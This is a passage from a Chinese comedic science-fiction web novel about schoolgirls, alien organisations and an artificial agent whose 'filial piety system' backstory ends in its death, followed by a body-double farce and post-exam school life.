他说话的声音又干又涩,仿佛在酒桌上应酬了几轮,出了包房兜头浇了一泼晚风:“那么多生命因你而死,你就毫不动容?”
颜阎扯着嘴角乐,上课开小差似的卷书包肩带玩:“少转移责任。重力舱是你关的。它们要死也是因为你死,我捍卫我自己,你才是杀人犯。要是它们都死了也不是我的责任,我一点也不会愧疚。我只会支持所有人把你吊死。”
“你刚才斗剑时可不是这么说的。”
“斗剑是一种表演,需要一分逻辑和九分煽动。至于说的话是真心假意都不重要,只要让观众信服就好。我们的目的是赢,又不是真理。”颜阎把声音压得低沉,“我的那两个朋友输给你,就是因为磊落。她们想说服你,想让你迷途知返。但在斗剑里,真正的敌人不是你,而是观众。不愿煽动,不愿讲情,这才落败。”
——疯子,精神病,亡命之徒!
世界摆出盛大筵席,人们吃得生死一线吮肉吸髓,就算不吃不喝也闻两下肉腥味。有朝一日她来了,坐在桌边上,把整个桌子翘起来支在腿上,膝盖往上一抬,镶金描银的包桌碎作玻璃片:“都别吃了!都饿死!”
她不在乎法律,不在乎道德,甚至不在乎生命。所以金钱和权力都无法诱惑她,名誉和责任都难以令她注目。
这是真正的反社会!
颜阎趁他愣神,终于把呼叫中心抢回来。她和等离子屏外的温蒂妮对了一个眼神,对方触手一挥,她就跑到悬空屏幕前按下交易成功的确认键。
沙拉曼达立刻向等离子屏的方向猛地压下手:“50000点数,刀枪不入。”
周围所有的铁质物体躁动不安,倏然向他身边聚拢。它们钢铁的身躯软泥般扭动,将他环绕其中,仿佛是与他浑然一体的铜皮铁骨。
以布从腰间的子弹夹里摸出一排蛋白刺激液装进移液枪,移液枪口对准沙拉曼达,二档吸一档打。
再坚硬的铁壁也有缝隙。只要液体穿过一条细缝,溅上沙拉曼达的皮肤,他的皮肤表面细胞就会与受体结合,发出强烈电信号,让他自己麻醉自己。
刺激液的确找到了许多缝隙,正好淋上沙拉曼达的手臂。
但是什么也没有发生。
沙拉曼达没有痉挛,没有昏厥。
他自己都愣在那儿,半晌没有动作。
几个呼吸间,他终于回过神来:“系统,100000点数,空间移动!”
他要跑!
以布将左手臂猛然向后甩,一挺造型非常像轻机枪的武器从它肘下伸出。它刚准备开火,推着温蒂妮的铃铛高呼:“以布,别杀人!”
机枪里的聚能激光霎时转向,沙罗曼达身旁瓦砾飞溅。尘灰中的墙壁赫然缺失了一半,旁边办公室的布局清晰可见。
康烁影怀里的球球大叫:“他要跑了!”
“跑不掉!”外面一个熟悉的声音说,“都闪开!”
律易棋带着一伙大型哺乳动物闪亮登场。华南虎和袋狼头抗电磁脉冲器,律易棋调整比利牛斯山羊角的方向,指着它两角之间:“开炮!”
以布伸手想拦:“电磁脉冲对人类不管……”
“嗡”一声,脉冲器的波段漾出荧蓝的海浪。
一时间灵肉尖叫,人类捂耳,以布一个箭步护住铃铛,巴莫魁的身影闪闪烁烁,最后直接消融在空气中。
沙拉曼达微笑着。
然后电火花像血液般从他的胸膛、口腔、眼睛里迸
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射出来。仿佛有一场小型核聚变般的爆炸在它体内发生,其光芒不亚于太阳。一阵短暂的抽搐后,他的身体轰然倒地。
铃铛从以布的胳膊里冒出一个脑袋:“……智械?”
“不对。”律易棋摇头,“是智能体。”
而地球土著纷纷退到律易棋身后。刘征兰拉着他看了两眼:“你去哪儿了?”
“……说来话长。”
律易棋被抓当天,沙拉曼达不紧不慢走进杂货店,用系统的力量袭击了他。律易棋虽然不是战斗人员,但也不至于一下子就被放倒。他用了两下子。
当时沙拉曼达一个电击戳在他后腰上。他凭借好基因顶了一下子,脑袋还懵着身子已经回头给了一脚:什么情况?刻石人追过来了?
当沙拉曼达的第二次电击袭来时,他已经整理好了思路。
这个感觉……电量不对打扮不对配队不对关节不对动作不对武器不对人种更是不对!
谁啊这是!
这一串不对让他本就有些迟钝的脑袋转得更慢了点,手没跟上对方的手腕,两下就被麻痹了肌肉拖走,扔进对方的红旗里。
他被拖上车后就晕过去,再醒来已经身处一个密闭房间。根据建筑风格的房间布局,他推测这里是玛丽基金会到办事处。下午康烁影她们期末考试的时候,还有几个灵肉进来给他送饭。
律易棋看着脚上挂着外卖袋子的赫米尼星系葎鸦,忽然灵光一现:“唉,你不是那个……”
“我不是。”葎鸦说,“我不是地质浪漫团调剂过来的。我没有袭击过你或任何人类。我更没有信仰崩塌陷入存在主义危机,我只是准备当公务员虚度一生的普通小鸟,叽叽喳叽叽喳。”
它毫无感情地叫了两声。
“也行。”律易棋从善如流,“普通小鸟,你有没有兴趣把我放走,条件好说。”
“没有。”普通小鸟用喙啄开外卖袋,“我一会儿吃完午饭就要去开会。”
“你不是来给我送饭的?”
“当然不是,我来躲清静。”
“那你嘴里的是什么?”
“跑腿买的面包虫。”
律易棋大惊:“玛丽基金会没有统一食堂?”
普通小鸟悲从中来,扇动翅膀落到他胳膊上,爪子踩着他走来走去:“自从那个沙拉曼达来了之后,一切都变了。我想去食堂吃饭居然要交申请!我很想去交,但我没有手,没办法写字,只能用打印机。这本来也没问题,可是,用打印机居然也要交申请!”
律易棋同情地看着它:“你试试让你的同胞们帮你呢?”
“打印机坏了。修打印机需要交申请……”
“好了你别再说了我懂了。”
灵肉对电子产品的运用不是很熟练,他懂。
律易棋开动小脑筋:“这样吧,你把我放开,我免费帮你修打印机好不好?”
普通小鸟大喜过望:“此话当真?”
“绝无虚言!”
普通小鸟越过申请要来神经阻隔剂,给他打了一针。律易棋原地复活,开始做好人好事。
他抽出打印机里卡住的纸,帮助上了年纪的软体动物调整讯传字号,给未成年小象调音量,手把手教导路过人类清理缓存垃圾。被他帮助过的生物不遗余力地夸奖他。他不负众望地迷失在赞美中。
当他回过神来时,他已经开始给办事处的智能家居修bug了。提醒他的不是责任心,而是监控里已经开始斗剑的沙拉曼达和地球土著。
坏了,正事!
这才有了他率领灵肉扛着电磁脉冲器闪亮登场的一幕。
当然他没有把全部都告诉地球土著,他省略了自己迷失在赞美中的那部分。
沙拉曼达倒下后,他征得铃铛的同意。跪在地上拆解了这名以人类身份度过半生的智能体。
卸下电路板,拆除冷凝剂循环系统,拨开血管般的感受器,将它的电子脏器们摆满地面。终于,从他胸腔的深处掏出一个极有设计感的球体。那是反应室,它的能量来源,如同人类的心脏。
球体上刻着一个小小的字:“偃。”
康烁影一愣:“这怎么是……中文?”
律易棋没有回答。他甩了甩满手红色冷凝液:“这就是偃的智能体。它们会把意义作为人生中最重要的宗旨去执行。从法律上来说它们不算智慧生物,但它们到底有没有智慧至今还难以定论。”
他用一种悠长的声音说话,似乎想唤起康烁影脑海里某个遥远的回忆:“你有印象吗?”
康烁影想了想。
她说:“完全没有!”
律易棋笑了:“好!不愧是你!”
康烁影莫名其妙,后退几步想和颜阎刘征兰说小话:“他怎么这么亢奋?看起来怪怪的。”
但她一抬眼,那两个人已经兴致勃勃地跑去围观解剖智能体了。
77.疯癫之石
【人生目标系统024:孝道,为您服务】
【姓名:郭守政】
【性别:男】
【年龄:3秒】
【孝心点数:0】
【技能:无】
【成就:未解锁】
郭守政出生的那一天,这个声音便回荡在他的脑海里,它使一个婴儿彻夜啼哭不得安眠。父母四处求医,仍然未能解决。家里人都以为他是特殊儿童,全家整日以泪洗面,祈祷他能成为正常人,生活得开心幸福就好。
他上小学后,一切都发生了改变——他认字了!
那个年代修仙和穿越小说横行,系统文刚刚崭露头角。根据简单的对比和总结,他立刻意识到,脑子里天天让他尽孝的不是幻听,而是传说中的系统。
当他反应过来,孝心点数已经倒扣几千。因为家人整日为他痛哭,而他不曾作出任何事回馈家庭。没有倒欠十万还是因为他处于新手保护期,倒扣数额不能破万,少得可怜的几次加点还暗中给他填平一些“债务”。
【获得成就:牙牙学语】
【并非语言,只是对声带震颤和唇形变化的模仿。代价是爱你的人在数百个日夜轮换中毫无回应的喃喃低语。】
【孝心点数+500】
【获得成就:蹒跚学步】
【无数次跌倒,无数道伤痕,但路的尽头是家人的笑颜,你愿为此付出一切。】
【孝心点数+500】
【获得成就:临池学书】
【学识之海的初步试探。往后将面对的文字浩瀚无垠,直到父母只可凝望。切记:勿忘回头。】
【孝心点数+500】
【获得物品:满分试卷】
【天赋和汗水的结晶。能让父母为之一喜:我们的孩子不是智障!】
【孝心点数+100】
【获得物品:老师的夸奖】
【消耗品,聊胜于无。若该物品由老师向家长当面提交,点数将翻倍。】
【孝心点数+20】
孝心点数足够后,还可以兑换一些道具。比如“力能扛鼎”,“过目不忘”,“巧舌如簧”,“长袖善舞”。只不过他现在还在倒扣阶段,没有资格兑换。
世界的一切如同游戏量表摊开在他眼前,没有氪金,没有内部控制。只要完成任务就能获得奖励,有了奖励就完全可以兑换他需要的一切技能。
郭守政像所有系统文的主角一样,立刻投身于积攒孝心点数的事业。
他的父母发现,他们的智障儿子一夜之间顿悟了,他不仅不再谈论什么脑海里的奇怪声音,还成为了邻里交口称赞的“别人家的孩子”。他努力学习,待人谦逊,最重要的是,他从不忤逆家中长辈。在同龄人一个赛一个叛逆的时期,他还在挨个给长辈们发空头支票:“等我长大了,一定孝敬你们!”
父母对着不存在的祖坟上了三炷香后,第一件事就是把“孩子健康快乐就好”地承诺丢到九霄云外。奥数班绘画班书法班吉他班统统安排上。
郭守政先后学会吹拉弹唱琴棋书画,文能出口成章文能七步成诗文能数学考满分。你问武?学生习武干什么?浪费时间。
他尽心尽力地成全父母每一个愿望,可父母的愿望总在变,系统的标准也会改变。小时候可以兑换20点数的“老师的夸奖”,在高中后只能兑换5点数。做家务、考第一,在亲戚面前表演节目可以兑换的积分越来越少。幸好他已经补全亏损,可以兑换技能点。
技能等级越多,新任务的难度就越大。难度越大,获得的技能点越多。整个过程如同永动机般循环。
相信每个人都对一个如此不善于思考的男人实现阶级跃迁的事不感兴趣,让我们用诙谐、幽默、轻量化、能够吸引读者注意力的方式来概括他的一生。
【任务:让父母在家长会上被老师表扬(1/1)】
【奖励:50孝心点数】
【成功兑换技能:出口成章。】
【新cg:作文大家】
【你的作文排比工整,理解深刻,用典得当,在市里广为流传,屡屡成为范文案例。】
【相信你穿越了也会活得很好,能成为一个合格的骈文作者。】
【父母对此不是很关心,孝心点数+5】
【每日任务:让父母以你为傲(0/1)】
【奖励:100孝心点数】
【每日任务:听从父母的安排(5/5)】
【奖励:10孝心点数】
【任务:在家庭聚会上承诺会让他们抱孙子(1/1)】
【奖励:1000孝心点数】
【成功兑换技能:在世傅里叶】
【新cg:毕业快乐】
【一群人高低有序地簇拥着一条横幅:我们高中毕业啦!你站在最中间,手搭在班主任的肩上,他的手掌按在你的手掌上。】
【啜饮墨汁,细嚼书页,字迹密密,如蚕吐丝。春去秋来,不绝寒暑,昼挑彤管,夜点孤灯。从今往后,如此青春不再有。】
【获得成就:专业第一】
【学历就是力量。】
【获得成就:考研上岸】
【再说一遍,学历就是力量。】
【获得成就:考博上岸】
【说三遍了,学历就是力量。】
【新cg:考公上岸】
【你沉稳地把录用通知书交给父母,他们欣慰地说:“没给我们老郭家丢脸。”】
【别问,你是山东人。】
【孝心点数+10000】
【获得buff:每当父母对外人吹嘘,孝心点数+5】
【获得成就:笏满床】
【你明白寒门难出贵子的道理,于是你潜入某地郭姓大家族,连夜抄录族谱一份。凭借你炉火纯青的攀亲戚功力和对社会现状的深刻了解,你的亲戚从郭嘉郭威郭子仪郭沫若延伸到蝈蝈郭城锅盔锅盖。】
【你的族亲们给了你很多帮助】
如此种种。
总而言之,他是个为了孝顺不择手段的人。
父母告诉他要好好学习,他就好好学习。父母告诉她不要乱跑,他就不乱跑。然后他们又说男孩子就是要有活力,他就去有活力地打篮球。父母说抽烟喝酒不是好孩子,他就不抽。父母又说男人就要学会抽烟喝酒,于是他去抽烟喝酒。一根烟5点孝心,他当着他们的面抽了一条,挨了一巴掌,至今不知道怎么回事。
他们教他善良、清廉、正直等品质,郭守政直到高中毕业前都是这样一个人人称赞的好小伙。上了大学,他就考研,考了研就考博,考了博就考公,完美符合父母的规划。考公之后,他们又告诉他,不要善良、清廉、正直,要有眼力见儿、要勾心斗角、要合理运用权力。他一一照做。
虽然有时候无聊,但这个系统带来的好处是实打实的,他的社会地位真的在晋升。凭借亲戚们的提携,他几乎是平步青云。亲戚们给他机会,他把亲戚们也纳入孝道系统。加点的机会数不胜数。他甚至卡过一个bug,到处认别人当义父义母,可惜这种完全没有血缘关系的系统不认。
安稳和权力都有了,他就不可避免地考虑起财富。
郭守政立刻弃政从商,可是直到这时他才发现,他自以为是、文化程度低、掌控欲强烈的父母,从一开始就为他报错了组织。他为之奉献半生的完全是一个外星组织!全名叫做:驻爬行文明银河系分部太阳系支队地球小组临江办事处(刻石人属)。
之所以没能发现,是因为这个外星组织与体制内实在没有差异。大家每天要做的就是重复性工作和签署文件。如果他看过那些文件,他可能会有所察觉,可事实上没有人会看,大部分文件的内容含有百分之九十的废话,百分之七的套话和百分之三的“参考过往文件”,但谁也没看过过往文件,说不定它们压根不存在。所有人都忙着话里有话,刺探八卦,车轱辘话,没有人真的在做事,人的存在只是为了给领导提供情绪价值和出事后担责。
原单位是父母用手指点着,指使他必须去报不然后悔终生。因为他们听信一些从来没有考过公的亲朋好友推荐说:“这里待遇好,所以你必须考这里。不听老人言,吃亏在眼前。”但父母还是觉得他思想不够独立,没有判断对错的能力。他困惑地独立,父母又立刻哭诉他不孝顺,他只好回去安抚父母,并答应父母再不追究此事。
但如今,他已经到了“某个年纪”。父母已经与现代社会完全脱节,沉湎于复古的怀想。而他,一个三四十岁有妻有子的成年男性,大家都明白这样一个角色有什么用。如今,父母开始小心翼翼地对待他,仅需一点金钱,就可以让他们心满意足。
郭守政度过了人生中最爽的几年:父亲的权力交接了,孝顺他自己,几乎等于孝顺父母!
但坐吃山空不是一个好选择,人生没有停止可言!当务之急,还是找到一个靠谱的经商之道。外星组织打工记没有给他任何社会地位,甚至没有一个人类公司愿意承认他的工作记录,万般不得已,他只好再次加入外星组织——毕竟外星人的钱也是钱。
原单位很乐意给他提供一些帮助,于是他空降炼金商会,不过三年就坐上四元素中沙拉曼达的位置。在这里
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,他打算成为一个好人,一个为民服务的好人。他和公司下属一起吃食堂,一起开会,一起加班,决不搞特殊。
有一天,他想睡个午觉,于是让秘书把饭送到他办公室。秘书端来鱼翅花胶和明前龙井。
他恼怒道:“我不想要鱼翅花胶和明前龙井,你们吃什么我就吃什么。”
秘书用一种困惑不解的眼神看着他,倒退着走出房间。郭守政靠在椅背上,衷心为这种现象而痛心疾首,不知不觉间喝完了明前龙井。第二天秘书又送来了一杯孔雀普洱,他沉默着喝掉了。第三天送来了一瓶很不错的茅台……
咳,总之,炼金商会是个结构简单、垄断容易的组织,由四位领导者组成。说是四位,实际上西尔芙神出鬼没,诺姆是个疯子,温蒂妮是个新来的年轻人,和家里关系还不好。他迅速帮助了它,指使它做一些大家都懂的事。炼金商会立刻被他一手把控。
在这个过程里,父母的态度又发生了新的变化。金钱已经无法满足他们,即使给出再多的钱,他们也觉得儿子长大了和他们不亲密了。母亲打来电话,苦口婆心地劝说:“儿啊,你爸是很爱你的,他只是不会表达。我们不需要你的钱,只要你多陪陪我们……”
两个被时代抛弃的老年人,颤颤巍巍地学会用手机,就为了给他打电话。郭守政感动了:“妈,我懂了。我一定多陪伴你们。一定听你们的话。”
遗憾的是,他过多地参考了父母的想法。他的父母并没有接受很好的教育,又过多地接触人性的幽暗。他们奉行弱肉强食,零和博弈:反正都要有一个上层人压迫别人,如果是别人,他们就会放心地被压迫,这个上层人恰好是他们,他们就会压迫别人!
他们遵循本心,开始疯狂滥用权力。
郭守政倒不是反对他们滥用权力,主要是太竭泽而渔,他尝试在餐桌上劝说父母。但是父亲立刻开始怒吼,母亲照例在旁边啜泣着配乐:“敢顶嘴了?我会不知道分寸吗?我吃过的路比你走过的盐还多!”
怒吼完,他便用一种受伤的眼神看着他:“唉……你也长大了……不需要我们了……”
郭守政虚心接受批评。系统立刻给他加了5点孝心点数。
即便如此,父母还是没有满足。郭守政不理解了:给钱不行,听话不行,还要怎么样?
他旁敲侧击地询问系统,反复兑换“智力增幅卡”,“心理研究卡”,“人格分析卡”,终于可以解锁这个任务了!
【任务名:情绪价值 (0/1)】
【不是不给钱,也不是不听话。是智能给钱,选择听话。请灵活判断父母的愿望,并将它们实现吧!】
父母的愿望很朴素:长命百岁,延年益寿,子孙满堂,儿女绕膝。满手名牌表,满手金戒指,日日有燕窝,顿顿吃鲍鱼。还有拥有上鉴定节目就会被抓进监狱的古鼎,家里客厅能连星际网,在他们从未踏足的星球上拥有一套房产。
这些都是很简单的事。可是当他们的要求逐渐向传说故事进化后,事情就难办起来了。
“我要娱乐圈完蛋。”
“我要这个短剧博主一天更十次。”
“我要老王家破产。”
“我要老李家的儿媳永远闭嘴。”
“我们要打仗!”
“对!打仗!”
“我们要把太平洋划到我们国土里。”
“大西洋也要。”
“我们要瞬间移动。”
心力交瘁的郭守政一愣。
诶,这个可以有。
【任务:获得空想文明的遗物(0/1)】
→
【任务:获得空想文明的遗物(0/1)已过期】
面对柔若无骨的电磁脉冲,他静静地心想。
啊,失败了。
就在那一刻,他脑子里的某样东西解禁了。无数知识涌入他的脑海。关于他的创造者,关于他如何被投放到地球,关于他是智能体,关于所谓的系统兑换只是解禁了他原本就有的能力。
无数的智能体被投放到各处,代表忠诚的发动了世界大战,代表财富的在另一个星球上了断头台,代表正义的动用私刑,目前在坐牢。
地球上只剩下他,知识和爱。
知识因为无法融入社会在当家里蹲,他已经走向无可挽回的极端,至于爱……至于爱……
他无法思考,他的生命终结了。最后他只能向心中问出一个问题。
“我做的哪里不对?如果对,为什么会变成这样。如果不对,人生的意义究竟是什么?”
没有人能回答他。
他死去了。
78.真假猴子王
拿回呼叫中心后,三个人立刻把书包丢给律易棋,央求他帮忙带回杂货店,明天就回来拿。至于她们三个……她们要回去睡觉,毕竟期末考试还没有结束呢。
康烁影从门口离开后,刘征兰正打算一头栽进自己的床上。颜阎却在后面拉住了她。
“赚钱不?”她问。
刘征兰睡眼惺忪:“又来?不考试了?”
“来不来嘛!”
“……行吧。”
现在,让我们把视角挪到一个大家都不愿意看到的人身上。昏迷不醒、变成拇指人、在地质浪漫团入侵马英妹办公室时被球球甩出体内的奥巴拿拿,将在五分钟后醒过来。
他醒来后的第一件事,就是直面一个长满毛发的圆柱体。他一个尖叫装晕,睁眼之后,面前的东西变成了一面黑色的全身镜,镜子镶在黑色镜框里,反光效果很好。
他在里面照了照,但是镜子里的自己总在跑来跑去。他追着自己的镜像跑了几个来回,终于发现,不是镜子里的自己在跑,是镜子在移动。
他低下头,发现自己踩在一条宽宽的桥上,桥面长满粗硬的野草。他往桥下看去,眼中却只有浓重的黑暗,地面的轮廓已经远离他。
镜子摇晃了一阵,脚下的桥面便不安分起来。他的身体像坐电梯一样失重,一个不留神就会滑下去坠入黑暗中。这让他不得不顶着草地扎人的触感,把整个身体贴紧桥面。
“电梯”终于停下,他连滚带跑地滑到地面上狂吐。
然而厄运远远没有结束,他还没有抬起头,地面上所剩无几的月色收起它神圣的华光,他颤颤巍巍地抬起头,率先看到的是一双指甲奇长的肿胀双脚,紧接着是猕猴桃般的绒毛,最后是一条肉质粉红尖头物。当他试图去抓住那条弹性十足的粉红管子时,管子下面裂开一个血红的开口,将他一口吞下去。
目前在和家里姐妹商量往后鼠生去向的智神咀嚼着这个大号面包虫一样的小玩意儿,感觉硬硬的臭臭的,说不定半年没洗澡,很难吃,于是把他吐出来,悄悄踢到一边。
奥巴拿拿在地上打了几个滚,滚到积灰的桌子底下,四肢着地准备逃跑。但另一只粉色爪子拽着他的裤腿将他扯出来。
一只明显小一点的鼹鼠凑到他身边闻了闻他的头发,又把鼻子凑到他胸口。奥巴拿拿怒从心头起,挥起拳头打在鼹鼠的鼻子上。
鼹鼠灵活地就地一滚,从他拳头下逃出来。不过刚才嚼了他的那只鼹鼠可没有那么好脾气,扑过来咬住他的后领,爪子按住他的身体,嘎吱嘎吱地把他的衣服咬破叼走了。
小鼹鼠似乎觉得这个游戏很好玩,于是咬住他的一条裤腿。眼看就要被吞进血盆大口里,奥巴拿拿立刻弃车保帅,将裤子三两下踢开。拿到织物的小鼹鼠很满意,把它装饰在大牙上,冲他露出一个憨厚的笑容。
全身上下只剩下一条内裤的奥巴拿拿绝望地追逐鼹鼠们:“那我的衣服还回来!”
鼹鼠们比他大几十倍,一步顶他几百步,早就骑着蜘蛛腿一样的巨大圆柱体跑了。奥巴拿拿从一根桌腿追到另一根桌腿就体力耗尽,气喘吁吁地停下脚步。
而这个办公室里唯一有一丁点社会经验的谷神,刚刚从学校花圃爬进窗户。它一个冲刺截停骑着哼唱大蜘蛛欢呼雀跃的妹妹们,从桌腿旁边拽出奥巴拿拿,然后闻了闻他身上的味道。
“哦,维修笔。”它自言自语着爬上马英妹的伸缩书架,抽出一只常年夹在教案里的小型维修笔,对着奥巴拿拿轻轻一按。
拇指人奥巴拿拿瞬间变成暴露狂奥巴拿拿。
奥巴拿拿惨叫一声,当即扯下衣架上马英妹的白大褂,疯狂用身体撞击办公室的门,撞开后又去撞实验室大门。
门卫大爷正在楼里巡逻,听到如此狂野的撞击,忍不住惊诧了一瞬:他工作十几年,第一次见到这么猖狂的歹徒。一时间他豪情万丈心情激荡,当即用钥匙圈打开实验室大门,掏出警棍大喝一声:“呔,歹徒!纳~命来!”
奥巴拿拿哀嚎着窜出实验室,穿过教学楼和走廊,从大门口夺路而逃。路灯普照他白大褂下一丝不.挂的身体,令他产生了一种回归胚胎的冲动。
经历了漫长的折磨,奥巴拿拿终于跑回家门口:“爸!妈!开门!开门啊!”
整个小区的灯都被他敲亮后,他的家长终于愿意从空调房里出来,揉着眼睛打开门。当他们和门外赤身裸.体羞愤欲死的奥巴拿拿对上视线,两个人都愣住了。
他的妈妈惊慌地把他拉进门里:“你怎么在外面!”
奥巴拿拿刚想解释,却发现他自己都不知道原因。在他的记忆里,他明明在房间里睡觉啊!
他冥思苦想之际,卧室的门打开了。“奥巴拿拿”走了出来:“妈妈,这么晚了,外面怎么这么吵?”
两个奥巴拿拿对上视线。
他们指着对方:“啊?”
家长指着他们:“啊!”
妈妈一直掐自己太阳穴:“我一定是睡糊涂了……”
他们的父亲此时仍然不忘保持自己的威严:“淡定!淡定!你们两个站成一排,让我来决定,你们到底谁是孙悟空,谁是六耳猕猴!”
两个奥巴拿拿站在一块儿。他们的爹用洞察一切的智慧眼神扫视着两个人,手向房间里出来的那个头顶一指:“你头发怎么这么短?”
妈妈提示:“他剪了头。”
他又指向门外进来的那个:“你脖子上怎么有块疤?”
妈妈低语:“那是胎记。”<
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p>他绞尽脑汁,实在想不到自己的儿子有什么特征。但是在这个场面又不能露怯,于是他问:“你怎么没穿衣服?”
妈妈一脚踢开他,自己站在两个儿子面前:“今天中午,妈妈给你们做了什么好吃的?”
房间里出来的那个美滋滋地说:“茼蒿和椒盐平菇。”
外面进来那个挠头:“不是鸡肉炖粉条?”
“大夏天的谁有功夫给你做鸡肉炖粉条。”妈妈狐疑地看着他。
什么?夏天!在他印象里明明春天刚到!
奥巴拿拿立刻冲进房间打开手机,发现现在已经是六月。怪不得他半裸跑回来的时候没感觉到冷。
妈妈的眼神愈发警惕:“这学期你们在学校被老师表扬了什么?”
房间里那个举起手,声音十分清亮:“人际关系变好了!”
“没错。乖孩子!”妈妈伸手捏了捏他的脸——奥巴拿拿自从上小学后就坚决不让妈妈碰脸,这个举动让他差点再次吐出来。
最后一个问题,交给了他的父亲。男人坐在主位上——其实就是靠近厕所的那个位子——威严的小眼睛在两个人之间逡巡,声音像加了特效的如来佛祖:“你们以后要干什么?”
房间里那个说:“好好生活,真诚做人。以后赚钱给妈妈花!”
妈妈怜爱地抱着那个奥巴拿拿的头:“乖孩子。”
而外面进来的那个奥巴拿拿仿佛受到了什么不详的召唤,眼神顿时变得犀利起来:“为……”
“为?”
“为家族争光,以后族谱单开一页!”
他的父亲一拍手:“你才是我儿子!”他拉开和妈妈抱在一起的那个,“你是谁!从我的家里滚出去!”
飞飞打死也想不到自己居然输给了族谱。它在控制室里一阵拳打脚踢,对着这个连他什么时候剪了头都不知道的男的龇牙咧嘴,然后手脚并用从窗户爬出去,含泪忽视“妈妈”的呼唤,操纵这架人类外壳一个受力翻滚平稳落地,冲回康烁影家把精疲力尽的球球拽起来。
“我暴露了!”它道,“快想办法!”
球球说:“正好。刻石人送了盆抹沙字,就在学校楼梯口。”
于是一盆花莫名出现在奥巴拿拿的家中。这不知所措的一家人很快平静下来,奥巴拿拿的父母忍不住困意去睡了一觉,第二天醒来,昨天半夜的事已经如同梦一般融化。任凭奥巴拿拿怎么描述,他们都不相信,他们的儿子是因为整个学期都被不明生物顶替才做不出数学题。
其实奥巴拿拿的妈妈有所怀疑,但她一直把那个猜测藏在心里。她时常怀念那个学期的儿子。相比眼前这个,那个会做家务、对人有礼貌、不跟着一群小混蛋吹牛互捧的儿子,可比眼前这个可爱多了。
79.挥拳
夏,车铃似的日子。
若是冬天,绝对没办法腾出手去按车铃。人们的手恨不得缩回胳膊里。
只有夏,高亢地鸣着蝉的终曲、空调外机的转动和啃桃子西瓜的咯吱咯吱。从翠影如滴的小道打马而过,一路叮铃铃响着,钻进簇拥着花盘的阳光里。
袖管中抽刀般露出臂膀,裤管下钻出腿。刀枪剑戟,武库森森。夏天,也是生死一线的季节!学生们各自为阵暗中密谋,为以后要去上大专还是辍学打工争论不休。
“tan90度等于1,乐了。”
“李清照哪一派词人我写的是气派,哪里不气派了?”
“看笑了。E=mc没有方,我干脆去建个地狱门好了,还学什么物理。”
“coffee,coffin,有什么区别?用多了不是都会死吗!”
抹沙字的出色效果使得全校超常发挥,考出了生命中最不可思议的低分。出卷老师气得要辞职,班主任一个上午气跑了仨,崩溃的学生比比皆是,厕所里每个隔间都有人在抹眼泪。
狡诈的刘征兰提前戴上口罩,发挥稳定,比平均分高了快要一倍。康烁影后来居上又争又抢,直接跻身年纪前十。颜阎勇闯年级前二十,嚣张到走路不看道鼻子天上翘,看不下去的同学们纷纷伸脚绊她。
当天她们就在烧烤店和银芯梅一块儿庆祝了一次。银芯梅已经完全爱上烧烤了,天天都来吃。店老板一见到他就不声不响上了十串羊肉,走时还打了七折。
期末考试结束后,学校还有长达半个多月的加课。老师们谁都不愿意讲期末考试的卷子,学生们迎来难得一见的自习。
抛去期末考试成绩不谈,这段时间简直是百年难得一遇的休闲时光。由于算在加课里,学校没有跑操和着装的硬性规定,天色与心情同样都像新鲜荔枝般剔透清甜,见面第一句话永远是:“暑假去干嘛呀?”
二班有人带三国杀、飞行棋和德国心脏病,大家都在下面偷偷玩。连电脑和一体机都解禁了,每节课的课间都有人点歌。班级关系较为冷淡的四班没那么精彩,但也很疯癫,三天看完了六部电影,战狼2连刷两遍。皇后发疯般做完了半本卷子,艺术家在在这些时间里用花茎给全班关系好的女生都做了一副手环。(当然没有颜阎的)
除此之外,最大的新闻莫过于奥巴拿拿的变异。他从善良的癫痫患者变回了恶毒的精神病,重新开始到处散播负能量。
他的归队让重点班男生的小群精神一振。众所周知,这个时期的重点班男生有一种看似谦虚实则阴暗的特点,他们喜好扎堆,互相以“大佬”相称。内部会根据成绩、家境、人缘等特点分出等级,几个山头形成学阀,垄断班上的学习资源,并且暗地里相互竞争。
在这样的团体里,奥巴拿拿是必不可少的一员。众所周知,王宫里不能没有弄臣!他在这个小团体里担任的就是这样的角色。
而班级里的女生们很愤怒,发誓以后他癫痫发作后再也不管他了。以前的关心全都喂狗去吧!
此事的最大受害者当属公西华。她本以为奥巴拿拿的狂热已经偃旗息鼓,谁能想到一战之后还有二战。幸好她是那种不为外物所动的类型,看奥巴拿拿就像看动物表演。
这时候就体现出朋友的重要性了:性格更刻薄的公冶长可以充当她的代言人。每当奥巴拿拿跑到公西华面前搔首弄姿,公冶长就会微微一笑,丢出一元硬币,淡雅抚掌:“好,再来一个,我请大家。”而后和公冶长一同扬长而去。
品行不佳者的喜爱是上一代的时尚,谁背在身上都感到羞耻。自习课间隙,公海组织收留的“流浪儿童”走到一块儿聊天,大家随口骂了奥巴拿拿几句,公西华让大家别说这么晦气的东西,话题转到了专业选择上。
艺术家想学艺术销售,到处策展,小喇叭没有规划,公冶长走一步看一步,郁霖雨想公职快想疯了,郁霖雨的同桌十八妹趴在桌子上说她想不劳而获无功受禄小人得志。
只剩下公西华没有发言,大家卷着练习册当话筒采访她未来的志向。此女思索片刻,将嘴递到练习册边上,优雅地撩起披下的发丝,然后用缓慢语速说出一段没有喘气口的连贯话语:“我要去学医考得好就去学口腔医学考不上就学医学影像直接进私立最好不去公立医院。”
大家被她这一阵突突突给吓着了。公冶长笑眯眯撑着脸,用胳膊肘拐她。十八妹这次又是全班第十八名,医学对她来说有点遥远,于是她压低声音问:“公立不好吗?”
“公立转私立比较简单,所以公立肯定还是要待一阵的,但是不能久留。我的终极目标是——”公西华伸出手搓了搓,“搞钱。公立,没钱。”
艺术家问她:“那我们生病能去找私立医院找你吗?”
“可以啊。”公西华轻松地说,“但你小心,私立可不是为了治病救人的,是为了赚钱,很容易被骗钱的。”
“看病角度来说哪个好一点?”
“看你有没有钱了……”
颜阎幽灵一样冒出来:“谁有钱?时间就是金钱,你们怎么知道我有很多时间?”
小喇叭给她倒了一瓶盖的电解质水,颜阎一饮而尽,恶心得得直吐舌头。郁霖雨看她伸手就明白了,随手往她手里掰了一块儿巧克力饼干让她冲冲嘴里的味道。
“从今天开始,晚自习没了。下午放学直接值日就行了。”颜阎骗吃骗喝一顿后,终于宣布。
这下彻底和放假没区别了!公海组织当场干了个杯,然后一群人分两组,一组去扫地,一组去洗拖把,先把教室后面打扫两下。
外面有几个班的值日生已经开始拖班级门口。转过拐角,教学楼外的天空彤云缤纷,向着宇宙的那一面有一个缺口,里面露出深深的、远远的天际。
